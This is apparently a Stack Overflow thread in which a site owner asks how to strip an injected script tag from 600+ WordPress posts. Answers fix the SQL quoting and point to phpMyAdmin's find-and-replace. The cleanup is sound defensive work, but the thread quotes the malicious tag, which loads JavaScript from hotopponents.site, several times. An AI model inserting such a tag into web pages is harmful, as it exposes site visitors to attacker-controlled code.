0

I'm trying to run a find and replace in phpMyAdmin because stupid hackers have inserted a db in a website I designed. I'm looking for this specific string of texts that appears in 600+ different posts:

<script src='https://hotopponents.site/site.js' type='text/javascript'></script>

I keep getting this error:

ERROR: Unknown Punctuation String @ 67

This is the SQL Query find and replace is trying to run;

SELECT `post_content`, REPLACE(`post_content`, '<script src='https://hotopponents.site/site.js' type='text/javascript'></script>', ''), COUNT(*) FROM `db709131568`.`wp_posts` WHERE `post_content` LIKE '%<script src='https://hotopponents.site/site.js' type='text/javascript'></script>%' COLLATE utf8_bin GROUP BY `post_content` ORDER BY `post_content` ASC

Whats can I do besides manually edit 600+ individual strings of content?

1
  • 2
    escaping those quotes might help, '<script src=' counts as an argument thats why its giving errors. and... if I may ask, are you writing you own queries to add database items even with wordpress? Commented Sep 30, 2018 at 4:56

2 Answers 2

1

You need to escape the single quotes by doubling them.

SELECT `post_content`, REPLACE(`post_content`, '<script src=''https://hotopponents.site/site.js'' type=''text/javascript''></script>', ''), COUNT(*) FROM `db709131568`.`wp_posts` WHERE `post_content` LIKE '%<script src=''https://hotopponents.site/site.js'' type=''text/javascript''></script>%' COLLATE utf8_bin GROUP BY `post_content` ORDER BY `post_content` ASC

(Speaking of escapes, you might also consider using HTML escapes when displaying user entered content.)

Sign up to request clarification or add additional context in comments.

Comments

0

since you're using phpmyadmin, go to the search tab > find and replace

  • Enter the full <script src='https://hotopponents.site/site.js' type='text/javascript'></script> as is, select the column and check 'Use regular expression'

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.